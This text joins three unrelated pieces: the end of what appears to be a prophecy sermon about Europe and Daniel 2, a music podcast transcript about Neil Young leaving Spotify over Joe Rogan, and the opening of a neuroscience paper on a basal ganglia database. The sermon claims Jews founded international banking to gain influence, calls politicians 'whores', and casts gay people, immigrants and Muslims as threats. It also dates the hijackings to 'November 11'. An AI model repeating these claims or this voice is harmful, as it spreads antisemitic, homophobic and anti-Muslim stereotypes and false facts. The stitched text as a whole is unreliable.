his child out of wedlock, something that he tried to hush up. Yet he intends to be a moral voice. Well, what kind of a moral voice? He has no personal morality. His only chance is to have some sort of political morality. The Redefinition of Morality Morality thus becomes redefined in terms of your public policies, rather than in terms of personal righteousness and holiness. The Bible, however, says the opposite: if people are personally righteous and upright, then that will be reflected in the political realm by what kind of government leaders they have. On the other hand, if people are personally immoral, they will have whores for leaders. Why does the Blair government have four homosexuals in its Cabinet? It reflects the whoredom of the social fabric of society. Why did you have Clinton doing what he did in the White House? It reflects the immorality of the society. People get the leaders they deserve. So while the Bible commands personal morality, with the reasoning that the only way you are going to effect change in society is to change the people in it by the New Birth in Christ, the world chooses to ignore personal morality, the New Birth and holiness in favor of a political version of righteousness. People do this without realizing they are on the road to Babylon. They no longer believe the Bible; if they did, they would be scared to death. Rome's Pattern Reemerges So you have an English lingua franca, a European Army and an increasingly political papacy combined with ecumenism and interfaith. The common currency? The Euro. Mayer Amil Rothschild said, “Once you have control of a nation’s money supply, it doesn’t matter who writes its laws.” The Jews faced such universal hatred and prejudice, which they did not know how to stop, that they had to find a way to gain influence. Obviously they were unable to gain political control, so they saw instead that they should gain economic influence. This was seen as the way to stop anti-Semitism, so they founded international banking. Finally, you have an eclectic infrastructure. Why do you think small and medium-sized businesses in Britain are strangled by European regulation? Why do you think the British farmer and the British taxpayer are penalized for being the most productive in Europe? Because they have to fall into line with the unproductive ones. They have to get rid of Imperial British standards, replacing them with Europe’s standards. What is this designed to do? It is designed to make iron and clay adhere. But that is only the beginning. The Destruction of National Identity Let us look again at Daniel 2:43: “In that you saw the iron mixed with clay, they will combine with one another in the seed of men.” Recently the British government said, “We cannot allow these Muslim refugees to come illegally through the Chunnel and then go on the dole, expecting the British taxpayers to support them.” But the European Charter of Human Rights says they must do so. The goal is in part the destruction of national identity so that Britain is no longer British but multi-ethnic. If everyone was a true Christian that would work. During the Millennium, in some way, it may well work; but it won’t work now. Iron will never adhere to clay. They can try to force it, but it will not work. As Jesus told us, “Nation will rise against nation”. That word “nation” in Greek is “ethnon”, from which we get the word “ethnic”. In Hebrew, that word is “goy”. Racial tension exists throughout the world: you see it in Asia, in Africa, in Central Europe and everywhere else. These racial tensions will increase; iron will not adhere to clay. Now, an African Christian, an Asian Christian, a Hispanic Christian and a European Christian can all be one in Christ—that will work, but the world is attempting to do this with the mind of Babylon, when it will only work with the mind of Christ. They have rejected Christ. In front of the European Union Headquarters in Brussels stands a statue of a woman riding on a beast. This image is also minted on some of the European coins. But in a post-Christian Europe, no one thinks about it and no one cares. Their goal is to build the Tower of Babel, but it will not work; just like in Yugoslavia, they will turn against each other. People will be able to take their driving test in Punjabi; they will be able to take that test in England in the Arabic language. This is already being done. The street signs also will be re-posted in two languages. Let me say again that if the people in these countries were all born-again, I would have no problem with this. But they are not doing this under Christ; they are doing it under Antichrist. Ultimately, the judgment of the real Christ will come; He is the Rock that smashes the system represented by this statue. But notice this says that some of it is iron, some clay; some of it is strong, and some weak. It will always be like that: some of the countries of Europe will be strong while others are weaker. The Implications of Modern Politics My mother’s family is Irish-Catholic. I have no idea why Catholic and Protestant people in Ireland are worried about each other. Why the Protestants in Northern Ireland are afraid of being governed by Dublin, I don’t know; and why the Catholics in Northern Ireland are afraid of being governed by London, I don’t know either. While all this nonsense is going on, they will both be governed by people in Brussels for whom they did not vote and whom they cannot remove. They are both missing the main point. The Irish have the Celtic economy into which Europe puts a lot of money—the “Celtic Tiger”. “Give Paddy a pint and he’ll be happy”—that is the mentality of it. Nobody other than Jesus Christ gives something for nothing: Ireland has lost its fishing rights. What you can, and will, get for free is a con job. They are actually taking VAT money that is paid to Europe and giving political contributions to pro-European parties that promote European unity. In other words, they are using taxpayers’ money to fund elections. This is totally anti-democratic, but no one can say anything about it. They are going to seek to make the clay and the iron adhere. Quick Succession of World Powers: Ancient & Modern But some will be stronger than others. You may have heard me say before that what happens in Daniel is what happens in the Last Days: a very rapid succession of the rise and fall of world empires. In Daniel’s day, everyone had been afraid of Assyria, yet one day they woke up to find something far worse than Assyria on the horizon: Babylon. Assyria was history practically overnight, giving way to the Babylonians. We grew up in the fear of the Cold War against Sovietism; one day we woke up and they were gone. In its place we face the much greater danger of Islam. Why is Islam a greater danger? Think about it: the Soviets would not use nuclear missiles except in response to an attack on them; the Muslims would, because they are promised Heaven if they die in jihad, holy war. In fact, that is their only assurance of salvation. Because of that mindset they will kill civilians and use their own civilians as shields without compunction. In Daniel’s day, Assyria gave way to Babylon; then Babylon seemingly overnight gave way to Media-Persia. Following the same pattern, the Persians gave way to the Greeks. Once Alexander the Great died, his empire fragmented, and out of that chaos came Rome. There was a very rapid series of world empires rising and falling which the Jews were caught in the middle of while returning to their own land. In the Last Days it is the same. Again, my grandparents were from England and Scotland; if you had told them that in our day the sun would set on the British Empire every 24 hours, it would have seemed ridiculous to them. Nevertheless, that is true today. Do we realize today how big the French Empire was? It included all of Southeast Asia and it split Africa and the Caribbean with England. The French Empire was once enormous; now it’s gone. If you had told someone from my generation that the Soviet Empire would collapse overnight it would have sounded ridiculous; nonetheless, that is precisely what happened. Economies Rise & Fall So the new economies became Japan and Germany. I was in Japan recently; it is not the same place it was even five years ago; it is in an economic melee, experiencing a downturn it cannot recover from. They have zero interest rates—you can borrow money for free in Japan, yet they cannot stimulate their economy. Now Germany has gone the same way. Germany was once the dynamo of Europe, but something has happened to it. The reunification of Germany was a success courtesy of the United States and to a degree the United Kingdom. However, though they owe their reunification to America and Britain, it has been an economic disaster. They are in serious trouble, going the same way as Japan; they cannot seem to get out of the hole they’re in economically. So France comes along, and sees an opportunity for them to dominate Europe instead of Germany. You see, it is all a game on a grand scale. The French never wanted Britain included in the European Union; it was America that forced the issue. Ever since Otto the Great, Germany has believed that it has some kind of divine mandate to rule over a Christianized Europe. Once the Roman Empire collapsed, it became the Holy Roman Empire, which was neither holy nor Roman. It was ecclesiastically dominated by Rome, but politically, economically, and militarily dominated by Germany. What they want to do now is put that back. Many have tried, namely the French and the Germans. That was the goal of Hitler, Charlemagne, Napoleon, etc; there have been many attempts, but none have succeeded. Why? Because iron does not adhere to clay. Satanic Strategy So what is happening in Iraq? Daniel tells us about the principalities over these nations; Satan’s ultimate strategic quest is to destroy Jerusalem in order to prevent the Return of Christ. He knows that the Jews must be back in Jerusalem, because the book of Zechariah (whose contents Satan is familiar with) tells us that they will not see the Messiah until they say “Blessed is He who comes in the name of the Lord”’; (Math 23:39) therefore, according to his way of thinking, Satan must obliterate that nation. There was no real reason for Iraq to shoot scud missiles at Israel; Israel has no love for Kuwait, and vice-versa. There is more to this than meets the eye: it is not about Iraq. In fact, it is not even about oil; if there was not a drop of oil in Iraq, the same problem would still exist, though oil will always be a factor in Middle East politics. The fear is that this psychopathic megalomaniac, Saddam Hussein, will give chemical and biological weapons to terrorists. So America thinks it cannot take the risk of leaving those weapons in the hands of a nut like that; in ten years, he might go nuclear. They feel they must stop him now, or they will have an even bigger problem. More Historical Patterns In Germany during the Wehrmacht, they had the Left Wing; in France they were called the Vichy; in England, they were called the Chamberlainists. In 1937-38, more than ten million British citizens signed anti-war petitions opposing war against Hitler. Only 20% of the British population in the polls agreed with Churchill, who was half English/half American. At that time, the Vatican also opposed war with Hitler. What do we have today? Please do not get me wrong—the British are far from being cowards. Hitler said they fight like bulldogs once it’s too late. If they had not allowed Hitler to break the Versailles Treaty, and if they had stood up to him then, things would have been different. In a similar fashion, there was an American general named Billy Mitchell who warned eighteen years before Pearl Harbor that the Japanese would attack Pearl Harbor; he advised them to stop the Japanese then and there in order to avoid it, and he was court-marshaled for creating a diplomatic scandal. Had he not been a hero in WWI, they would have thrown him out of the military completely instead of just giving him an official reprimand. So Hitler was allowed to violate the Versailles Treaty without consequences; as a result, look at what he did to Liverpool, Northern London, and Coventry. The mentality of Tony Blair is that we cannot let Saddam Hussein violate the ceasefire to which he agreed; otherwise, in five or ten years we will wish we had stopped him. Chamberlainism has come in many guises in England; in the eighties they were called the CND: it was Michael Foote, Neil Kinnock, the Green and Common Lesbian Women, Committee For Nuclear Disarmament. When the Soviets pointed SS20 missiles at Birmingham, Manchester, London and Leeds, the American President at the time, Carter, and Margaret Thatcher said, “We have to point cruise missiles back at Moscow and Leningrad.” The same people who are saying, “Don’t do this” with Iraq also said “Don’t do this” with the Soviet threat. If the Chamberlainists—the CND, the European left—had gotten their way then, the Berlin Wall would still be standing. If they had had their way then, we would not have won the Cold War, we would still be living under that threat, and hundreds of millions of people would still be enslaved to Sovietism in Czechoslovakia, Hungary, Poland, Romania, Ukraine, etc. When they did have their way, the result was the Blitz in WWII. When they did not have their way, the result was victory. Once again, the French call these people Vichy in their own country. At the beginning of WWII, the French had the biggest army in Europe, bigger than Hitler’s. At Dunkirk, Britain was fighting while the French had sixty-six divisions and refused to fight, letting Britain stand and fight alone. They stood by and let the Americans and British liberate their country and then rebuild it; then they want to turn around and spit in your faces for doing it. I’ll never forget, during the Falklands War, despite the huge Hispanic population in the United States and despite most of America’s neighbors being Hispanic, the overwhelming majority of American people backed Britain. This was even true for many Spanish-speaking Americans. Yet the French were selling Exocet missiles to the Argentines so they could sink the HMS Sheffield, killing British sailors and soldiers. Blood is thicker than water; iron will adhere to iron. The Aussies, the Yanks, the Canadians—they can adhere. But iron will not adhere to clay. So we see the Vichy in France and the Chamberlainists in England. I am not saying the war is right or wrong; I am simply saying, look at it in light of history and look at history in light of the Bible. The True Axis of Evil & Political Whores The Axis of Evil is not North Korea, Iran, and Iraq—a list to which Libya and Syria have been added. The Axis of Evil includes Saudi Arabia, along with all these other countries. The Wahab of Saudi Arabia are the ideological dynamos of terrorism. Fifteen of the nineteen hijackers on November 11 were Saudis groomed by the Wahab and financed by the Saudi government, which persecutes Christians. I pray for George Bush every day. Let me tell you something: George Bush is a political prostitute from a dynasty of political prostitutes owned by international oil. He will never defend America from her number one enemy, which is Saudi Arabia, because he sold his soul in political terms to get elected. His father called the Saudis our friends; no nation that hangs a fifteen-year old boy for accepting Jesus Christ is my friend. (They may be the friends of the political whoremasters of Texas oil, but they aren’t mine.) Do I consider George Bush trustworthy? No, I do not. I would not trust him as far as I can spit, and I would not trust his father even that far. But I pray for him every single day. I don’t like him, don’t trust him, don’t respect him, nor do I like, trust, or respect Mr. Blair, but I pray for them every day. If they are not influenced by our prayers, they will be influenced by something far worse. If they turn against Israel, God will turn against Britain and America. I pray that God would remove Bush and Blair before they bring the wrath and judgment of God against us. Mr. Blair has four homosexuals in his cabinet, and he wants to lower the age of consent to enable a middle-aged man to seduce vulnerable young boys. I think he is a disgrace; I detest everything about Mr. Blair. But if my prayers are not influencing him, something else will, as both Timothy and Daniel tell us. Efforts All In Vain That is what is going on today: it’s Old Labor versus New; it’s a quest to rebuild the Holy Roman Empire, which will be neither holy nor Roman. They will do it in the same way in which they always do it: lingua franca, common currency, integrated army, ecumenical religion and an eclectic infrastructure, into which they will mingle the seed of men: we are no longer an English England, or a Scottish Scotland. The population of Scotland will decrease by another 4.5 % in the next ten years, what with the combination of a mass immigration out of Scotland and a declining birth rate. Many of the people who remain are older, but guess who’s having a population growth in Scotland? Muslims. You create an economic reliance on Islamic immigration when you do what is being done here. Muslims come here and receive the same rights which they deny others in their own countries. It is an agenda called social engineering. They will force you to accept same-sex marriages and homosexual adoptions, and teach it in schools to children. They will force you to teach your children that there is a co-validity to Islam and Hinduism. All this because they must find a way to make the clay and the iron adhere. Nonetheless, despite all efforts, they do not and will not adhere. What will happen? Ultimately, the iron and the clay, the bronze, the silver and the gold, were all crushed. But for now, some will be stronger than others. There is no way you will have “The United States of Europe”, though that is their thinking. America has a common language in a common market with a common currency. Since America has done it, Europe thinks it can too; but iron adheres to iron; it does not adhere to clay. The predominant culture in America is Judeo-Christian. Even Italian-Americans or Chinese-Americans look to Britain as the mother country; that doesn’t work in Europe. When you see all of these things going on, keep in mind that there is more going on than meets the eye. This war is about oil, but it’s also about much more. What the Americans and the British want to do now is to develop an alternative source of oil to Saudi Arabia. However, the countries of Soviet Central Asia adjoining Afghanistan are unstable. If a puppet regime is installed in Iraq, it will accomplish two things: first, create that alternative to Saudi Arabia—Iraq has nine per cent of the proven reserves. Second, outflank Iran in the west as Afghanistan outflanks it in the east. The End of It All The Americans and the British know that long-term, Saudi Arabia is unstable. There are always politics going on, but there is more to it than that. The issue is not Baghdad, it is not Europe—the issue is Jerusalem. That is where Jesus Christ will return. That’s the name of the game: the real jewel, the real treasure of the Middle East is not the oil fields of the Arabian Peninsula—not Baghdad, Mecca or Medina; Satan already has those places. What he wants is Jerusalem and he’ll get it—“Sodom and Egypt, where our Lord was crucified”. But that is not how it ends—here is how it will end: “’You watched while a stone was cut out without hands, which struck the image on its feet of iron and clay, and broke them in pieces.’” –Daniel 2:34 The United States of Europe will not stand in the long run, though it will stand temporarily. Iron will not adhere to clay. When they try to make it stick under the rule of Antichrist, Christ Himself will bring it all to ruin. That is what is really going on. May God bless you all.

A lot of things have been going on in the music and podcasts universe. Have you heard? Spotify stood by their most famous podcaster and some musicians decided to take a stand and leave. In this episode, Ciyadh discusses this latest controversy with Spotify, Neil Young, and what that means for artists and music lovers moving forward because some changes are coming. Topics also discussed: 1. Current Spotify Situation 2. Streaming model’s negative impacts on the music community 3. The future of music streaming is no longer complete 4. How to better support individual artists Show Notes: Spotify pulls Neil Young’s music after his ultimatum regarding Joe Rogan and ‘fake information about vaccines’ - The Washington Post Nils Lofgren, Spotify, and Neil Young from Rolling Stones Brene Brown Spotify Podcast Joe Rogan Controversy from The Verge Harry and Meghan Spotify Misinformation News from CNN Leave a Review: Review Musically Cogitating on Apple Podcasts Review Musically Cogitating on Podchaser Review Musically Cogitating on Spotify Music Recommendation: Emanation by Immanuel Wilkins issue about music, the people who make it and about how all of that continues to impact the way that you and I live our everyday lives. If this is your first time, or if you've listened to every single episode of this podcast. Thank you so much. And welcome. I'm your host. [00:00:24] Ciyadh Wells again, like I said, thank you so much for joining me here today. If you could please go ahead and use the link in the show notes to review this podcast on Apple Podcasts or Podchaser that would be really great and amazing. And also check the show notes for any important and relevant links, including a link to the transcript for this episode. [00:00:50] So I'm getting to you doing transcripts and the link for that will be in the show notes. [00:01:00] So I had a different topic planned for this week. And in a sudden stroke of genius, as I'll say, or you could just say I got inspired. I decided that I wanted to cover something that felt a little bit. More timely, but also something that is really important to me and continues to be something that I want to talk about. [00:01:22] Not only on the show, but in all of the other places where I talk about music and recording and being an artist and supporting artists and all of those types of things. So this week there's been a lot, a lot, a lot going on. And the music community broadly in, in the music industry, if you would like to call it such a thing, although industry seems a little bit too formal, but you know, I like to call it a community. [00:01:52] Cause that's what we really are. We're a podcast community and we are a music community. So if you haven't heard or maybe you're just not really [00:02:00] interested, but I'm going to talk about it anyway. I'm going to break down this week or this past week and what's going to happen this coming up week between Spotify and pretty much everyone else. [00:02:14] So the beginning of last week, Neil Young, who is a Canadian-American songwriter guitar player informed Spotify, and that he was going to take his music off of the platform because of the continued support that Spotify gives to Joe Rogan. Now I'm not going to go into all of the details about Joe Rogan, because I don't really want to do that. [00:02:51] And I don't think that's super relevant to what I want to talk about from my particular angle. But what is happening is that [00:03:00] Joe Rogan runs what's called the biggest podcast in the world. And his podcast is a Spotify exclusive. And in his podcast, he usually talks about really controversial things. [00:03:17] And as of late, it has come to the attention of a lot of people that his podcast and his guests spread misinformation about COVID-19 broadly and the efficacy of vaccines. So by way of the show being exclusive to Spotify, because Spotify has a deal with Rogan and because they pay like a million dollars an episode or something astronomical like that. Bu by way of him being a part of the platform, people are kind of taking Spotify to task and saying, you know, you shouldn't [00:04:00] continue to allow his podcast [00:04:05] Or any type of content on the platform to continue to be there, if it is going to spread dangerous information about our current public health crisis. And so, you know, I don't listen to the show. Like I said, it's not really my style of podcasts. But I do know that this is an ongoing thing with Joe Rogan and I think he had this problem on YouTube. [00:04:33] And so, you know, it's kind of, he's going around seeing who will let him be there. This is the quote that Neil Young said when he was announcing to the world in an open letter that he was going to take his music off of Spotify. He said, .” [00:04:57 And that's the end of the quote. [00:05:17] So of course, you know, me, I'm in support of stopping the spread of misinformation and all that comes along with that. Essentially Neil Young said you know, you either going to take down this podcast or I am going to take down my music and of course, Spotify pretty much opened the door for Neil Young and waved and then kicked him out. [00:05:48] As a result, his music is no longer on the platform. Side note, Apple Music, and his music has always been on Apple Music and like, uh, Qobuz and other sharing platforms. [00:06:00] I think Neil Young also owns HD tracks. So which is a digital download store or at least one of those platforms. So it's really interesting that all of a sudden Neil Young is upset with Spotify about streaming and this particular thing, when he, of course, has other ways to make money and care and he doesn't need Spotify anyway. [00:06:26] So I know Apple Music was making all of these like really interesting tweets about, you know, come, come to Apple Music where Neil Young's music is and, and all of this stuff. So it was just really interesting to see there's always this subtle, but not so subtle streaming or. Going on between all of the, the two major platforms. ---- — [00:06:49] And again, there are other streaming platforms where yes, you can find Neil Young's music and music of a lot of other people. [00:07:00] All of this controversy with Spotify and Neil Young and several other artists who decided they were going to take their music away from the platform, including, Joni Mitchell. [00:07:10] This started a lot of controversy about misinformation. I'm not gonna say controversy. I'm going to say it started a conversation about misinformation, censorship, corporate responsibility, which is what I call it, money, power. And many other things, and not only that but other musicians of all kinds have come up and started to support Neil Young and decided that they too were going to take their music off of the platform. [00:07:34] But there are some other famous podcasters whose podcasts are also Spotify exclusives who said they wouldn't be posting until like Spotify figures this out. Everyone was really vague about it, but they said we’re going to not put up a show until you take Joe Rogan way. It was more of just like, until Spotify decides to put out a press release and that I'm happy with [00:08:05] I'm not going to post any more shows and that's totally fine. You know, like it's, it's not a big deal. I don't listen to anything that is exclusive to Spotify anyway. So that's not affecting, you know, my information diet or my entertainment consumption, but I'm sure for a few people, it totally will. And that's an unfortunate thing because those things are important to us, whether it is that we learn something educational or informational, or if it's something that we just enjoy, you know, anytime that something that we enjoy no longer exists, even for a short period of time, it can just be a little disappointing. [00:08:50] So what's interesting too, is according to Spotify, they do take down misinformation apparently across [00:09:00] thousands of podcasts on their platform. None of this can actually be confirmed. Like no one actually knows if Spotify actually does take down podcasts that spread harmful and dangerous information relevant to our public health crisis, or other things as well. [00:09:21] So, you know, we don't really know if that's true, but that's what they say. So if you want to believe that, that's totally fine. Many other musicians of course have come out and said that they will be taking the music away from the platform. So this is important and this is what I want to talk about more in just a moment. [00:09:42] Out of all of this though, the one thing that is abundantly clear is that Spotify isn't really concerned with people. So I'm going to call people, musicians and consumers, music, listeners, podcast listeners. They're not really [00:10:00] concerned with people leaving the platform. Although apparently last week they lost like $4 billion dollars in market value. [00:10:07] According to what I read and I'll have that article linked. So maybe they do care a little bit, but I think they're not going to really change their behavior. I think that they will continue to support the spread of dangerous ideas and misinformation, and that's because of how their business model works. [00:10:27] So they don't really care about Neil Young or Joni Mitchell or anyone else who has music on the platform. Because like I said, how their business model works, they don't really make money off of those people anyway. And neither do that many artists, at least some of the bigger ones. They don't make a lot of money off of the platforms anyway. [00:10:50] And, and like I said, Neil Young doesn't really need Spotify. So it's also really interesting that he's the one around which all of this controversy sits, but that's [00:11:00] neither here nor there. When you stream a podcast on Spotify, that's when they make money because they own a lot of podcasting companies and things like that. [00:11:11] They also own a lot of the podcasts and the content. So they are able to make money off of that from advertising and, and having owned the podcasts. And when you stream music, it doesn't necessarily work that way. There was also some drama about Spotify, not letting people cancel their accounts. [00:11:34] So when Neil Young said by a lot of people also wanted to follow Neil Young, and I think there are two reasons why there was not letting people cancel their accounts. One reason was of course they don't want people to cancel their accounts. So they made it difficult and their system couldn’t handle the influx of cancellations and they got back up. [00:12:01] Apparently after you've decided to cancel your account the very last page that you see, like in the web view in Spotify is like a playlist telling you like goodbye, see you later. So that's just something that I read. And I don't know if that's true, but if it is wow, like we will definitely have to talk about that. [00:12:26] So, ultimately it doesn't really matter to Spotify if the artists are there. Not because they're not really making money on music, we all know that Spotify is also the world's biggest, if not second largest podcast platform. They are less concerned with music and most concerned with podcasts, which is why they will continue to allow, you know, podcasts to spread information that is interest and harmful to the lives of people all around. [00:13:02] Now I want to talk about why now, why this moment and to be frank, to be honest, I'm not really sure because podcasts like Joe Rogan's and like those that spread similar types of information and have always been around. They're not new. They've been around for a really long time and, you know, controversy, isn't new to Spotify in general. [00:13:37] It's not new to these types of platforms. And so what made it really relevant and important now? And I think that people are kind of just fed up with what's happening and they're tired of hearing about it. And so they want to say something, they want to do something. They want it to go away. [00:14:00] Sure. I think another reason is that some people are seeing that they actually have the power to influence change in our community and in our society. And so they're saying, you know, hey, I'm going to do something. I'm going to stand up on behalf of all of those who don't have the same privilege or opportunities that I do. [00:14:22] And I think that's a good thing. And ultimately after all, we vote with our dollar, right? You know, if you give money to a company that can be one way of saying that you're okay with what that company is doing, whether it is something positive that the company is doing, or if that company is continuing to perpetuate harm on people and the environment and everything else. [00:14:53] Now this is not an absolute. We're going to CC Amazon and anything related to Amazon on this, [00:15:00] because a lot of us do not necessarily love using Amazon. But we are in a position where Amazon has become our only choice. And so I totally understand that it is really complicated, but one way of showing support for a company is to continue to be a customer. [00:15:18] And so if you no longer want to be a customer, you can take your dollars and use them elsewhere, so people are really seeing that they can take a stand. I think also this about control. It's not super well known how all of this works, and this is on purpose break. Your companies don't want you to know how all of this works, but it's not super well known that a lot of artists don't actually own their music anymore. [00:15:52] Some of them own it. A lot of them don’t. A lot of it is owned by record labels and even more now music [00:16:00] and copyrights and masters and all of that is owned by hedge funds. So when you were streaming anyways, it probably like a lot of that, three tenths of a penny or whatever of a cent, tt wasn't going to the individual artists or to the funds that pay the artists. [00:16:19] Anyway, it was going to these hedge funds and people who don't care, who are not artists, who don't support artists, who don't like music at all, who aren't concerned for our community. So it was just about, you know, these people who are trying to make a quick buck. And I think that is one of the reasons why we're not seeing more artists leave the platform and it's because they can't like, they cannot take their music and say, oh, this isn't going to be a place where it exists anymore because they don't control their music in a way. [00:16:56] That would allow for them to make that decision. [00:17:00] And even if they did, it doesn't mean that they would be afforded, like I said, the same privilege and opportunity that folks like, you know, young and Joni Mitchell and other people. Because, you know, for the people who do get some money, the smaller artists like myself who do get money from streaming, you know, that supports our careers and our livelihoods and our families. [00:17:25] And so we might not be able to just take our music away from a platform where, where we do receive actual. Revenue. So I think what this moment is telling us is that. If you are an artist and you feel inclined, you can take a stand against something that you don't like. I think that that's ultimately what this is saying. [00:17:56] So it's not really about Spotify. It's not really about the spread of misinformation. [00:18:00] It's about artists being in control of their music and wanting to take a stand against something that they don't like. And I think that we will see more of this happening more and more people are feeling inclined and emboldened to stand up against large companies. [00:18:19] Unfortunately it seems that this matters when large amounts of money are involved. And for people like me and like you canceling our accounts, taking their music away, it doesn't often impact the bottom line in a way that we would hope. But yes, famous people, large groups of people with lots of power and influence can get a lot of people. [00:18:43] It still doesn't mean that Spotify is going to do anything or, you know, you can interchange Spotify really with any platform or company. It doesn't mean that they're going to do anything, but, you know, as I always like to say, at least people will be tweeting about it. So what does that mean for you? How does [00:19:00] this impact your life as someone who is listening to. [00:19:04] It's like this one or who is just listening to music. It consumes music as part of your everyday life. And I think that it means that we're is that we're going to have to get used to the idea that not everything is going to be available everywhere. And we are, we're used to this with. TV and visual media, because we've come to accept and pay for all of these different TV streaming services. [00:19:29] You know, back in the day, it was our hope and our dream that we could just have al la carte cable. And now that we have al la carte cable, we spend more money than we did before, because we had to have a subscription for each individual streaming platform. And I think we've come to accept this, but we're not using. [00:19:49] With podcasts and with music, because to some degree we don't see enough of what goes into making music. We don't understand how much it [00:20:00] costs. And so, because we can't see it, we assume that it doesn't cost a lot to make it therefore. We believe that it should receive less monetary compensation. Now that doesn't mean that people don't value music in their lives, because I think that they do, I value music so much. [00:20:19] I mean, maybe I'm the exception because of pay for music. But I think people in general, even if they don't, they value music as part of their lives. And so they do really care. And I think that the streaming model has negatively influenced our relationship to compensation and value when it comes to paying for, and listening to music. [00:20:44] Of course, this doesn't bring into account touring and merchandise that the other ways that artists make. Which is a different podcast and probably a different series all in itself. But as listeners and as consumers, we're going to need to [00:21:00] understand. We will need to invest in artists. And we're going to be able to view that we're going to need to do that in two ways. [00:21:07] So we're going to need to own more of the music that we want via digital and analog consumption format, because it's not going to be available everywhere. And we need to understand that we might need more than one streaming platform subscription, which is not what people want to hear. We want one thing to cover it all. [00:21:27] What we used to have for cable and still do have for cable is what we want for music. And we're not going to be able to have that anymore. And I think that as music lovers, we will need to ultimately renew our commitment to supporting individual artists and artistic communities at large. So supporting artists as individuals or as groups, and as part of our community, we will have to support them. [00:21:55] And we will have to work diligently to focus, not so [00:22:00] much on these large companies. Be it Spotify, Apple Music, Deezer, Tidal you know, we're going to have to focus on doing it for the individual people, people who make the music, the people who actually impact our lives it's cause it's not Spotify who actually impacts my life. [00:22:18] It is all of the people in the music we called shared podcast playlist, whose music that I really enjoy it. I think you would too. It's those people who impact mine and your life. So we're going to have to make some decisions. We're going to have to think about the individual artists, the groups of artists, who we want to support, who we want to continue to exist now. [00:22:44] And you know, long into the future, because you started companies, they don't care about you. They don't care about me. They don't care about artists. They tend to actually abuse and neglect artists. And so we [00:23:00] will just need to continue to care about people more deeply. We may not always be able to make such choices on, on a large scale for everyone, but. [00:23:13] We can do this for some of the people whose music impacts our lives, who it gives meaning to whose music is the soundtrack to our lives. Like we can pick a few people and really support them diligently. And if we all did that, I think we could be in the same place or even a better place. Artistically, you know, artists, we call ourselves the [00:23:40] culture barriers. You know, the people who continue to make and shape culture. And we are such a part of culture. We are so valued that other people get to make money off of our work. They make more money off our work than we do. And it's time to change that [00:24:00] even if it's only in a small and subtle way, as you know, you and me as consumers [00:24:08] because when artists take a stand. When artists call for change, things change and things happen, and artists are a part of that change. And so we need to pay attention to this sooner. When people who are not, you know, really large artists, even Taylor swift, who, you know, has had controversy with the different platforms. [00:24:29] Like we need to listen to all of the smaller artists as well, because even though you might say, well, no, no, one's talking about it. People are always, definitely talking about it. You just have to make sure that you're listening. So I'm saying all this to say that you don't have to cancel your account. I'm not asking you to cancel your account or anything like that. [00:24:51] But what I am asking is that you look for ways to support individual artists and artistic communities that are more impactful and [00:25:00] meaningful, and that you always listen to artists, not just the really popular ones. Since this is a show about music. It's time for me to recommend to you something to listen to you. [00:25:14] And. Oh, I gotta go in this week. I'm going to recommend Emanation by Immanuel Wilkins. And yes, this is jazz because it's jazz, but this, this song is so good and it just came out, uh, this past week. And so I would highly recommend you take a, listen. It is linked in the show notes like it always is. Don't forget to follow the podcast on social media and to visit the website and to read through the transcripts so that you can share and in the transcripts of the people, if they would prefer that as a way of consuming this podcast. [00:25:58] We have a newsletter. I was sending [00:26:00] out another one of those newsletters are really, really assumed. Please give the show a like a rating and review pod chaser, apple podcasts, Spotify, if that is available. And if, if this podcast were going to be on Spotify, who knows podcasts might just implode. If it's going to be there, then all of that will be linked in the show notes. [00:26:20] And I would really appreciate it if you gave the show. Yeah. Review, if you don't want to give a review, but you want to just slide into my Twitter, DMS or Instagram DMS I'm at musically cogitating is where that can be found a link in the show notes. You can also buy a pin, a bookmark and a t-shirt, all of that will be linked and you can support using the buy me coffee platform. [00:26:42] So that's all I have for you today. We'll be back very, very soon, sooner than you think with the next episode of the Musically Cogitating podcast, until then.

Abstract Quantitative measurements and descriptive statistics of different cellular elements in the brain are typically published in journal articles as text, tables, and example figures, and represent an important basis for the creation of biologically constrained computational models, design of intervention studies, and comparison of subject groups. Such data can be challenging to extract from publications and difficult to normalise and compare across studies, and few studies have so far attempted to integrate quantitative information available in journal articles. We here present a database of quantitative information about cellular parameters in the frequently studied murine basal ganglia. The database holds a curated and normalised selection of currently available data collected from the literature and public repositories, providing the most comprehensive collection of quantitative neuroanatomical data from the basal ganglia to date. The database is shared as a downloadable resource from the EBRAINS Knowledge Graph (), together with a workflow that allows interested researchers to update and expand the database with data from future reports. Machine-accessible metadata file describing the reported data: Background & Summary Quantitative knowledge about the number and normal variation of different cell types of the brain and their subcellular elements, such as synapses and dendritic spines, is of broad interest for neuroscientists. This is important for several purposes, including building and constraining computational models1,2,3, guiding new experimental research, and comparing data from individual or groups of subjects. The need for quantitative measurements of neural architecture has led to development of numerous experimental methods for unbiased quantification of neuroanatomical features. Examples include cell counting methods4, stereological approaches to obtain numbers, areas or volumes5,6, and point pattern analyses to characterise spatial distributions of cells or cellular elements7,8. The results of such studies are typically published in original papers, reporting e.g. estimates of total numbers or densities of cells9,10 or relative amounts of cells, synapses, spines, or other parameters in different experimental groups11,12. While individual papers may be easily interpreted, it is becoming increasingly challenging to overview the steadily growing amount of publications13 and to evaluate the consistency and comparability of information. The traditional research paper format is not particularly well suited to make comparisons, as data may be distributed across text, tables and figures, with units of measurements and nomenclatures that vary across papers. Although units of measurements can be effectively converted and nomenclature differences may be possible to resolve, this requires significant time and effort from the reader. In some cases, findings are reported in non-standard units (e.g. as percentage of control, number per section), which may make them impossible to compare to other results. Researchers investigating brain structure and function in animal models may find it difficult to answer relatively simple questions, such as: What is the average number of cells or subcellular structures in my brain region of interest, and how much do these numbers vary? Which parameters have been quantified before and what were the methods used to do so? Can data from two studies be compared? Are the results reported in the literature within the same range? Neuroanatomical information is available from several databases. The temporal-lobe database () presents connections in the rat hippocampal region are presented schematically in an interactive PDF, allowing the user to quickly view aggregated information14. In the Brain Architecture Management System (BAMS,) project, Bota and colleagues compiled reports and scored the strength of connections between regions across the brain on a semi-quantitative scale15. The hippocampome (), a database of neuronal cell types in the hippocampus, contains interactive matrices showing the location, cytochemistry, electrophysiology, and connectivity of different cell types16. The NeuroMorpho database17 () is an extensive collection of published neuron morphologies, with useful quantitative information about the features of individual neurons. In addition, several efforts have been made to estimate brain cell numbers in histological material using computational image analysis18,19,20. To our knowledge, no systematic effort has been made to collect and normalise information from several sources about the number and distribution of cells, synapses and spines in different brain regions in a database. We here present a database of publicly available quantitative measurements of cells, synapses and dendritic spines of the frequently investigated murine basal ganglia. These are regions of high interest for basic experimental studies of voluntary movements, procedural learning 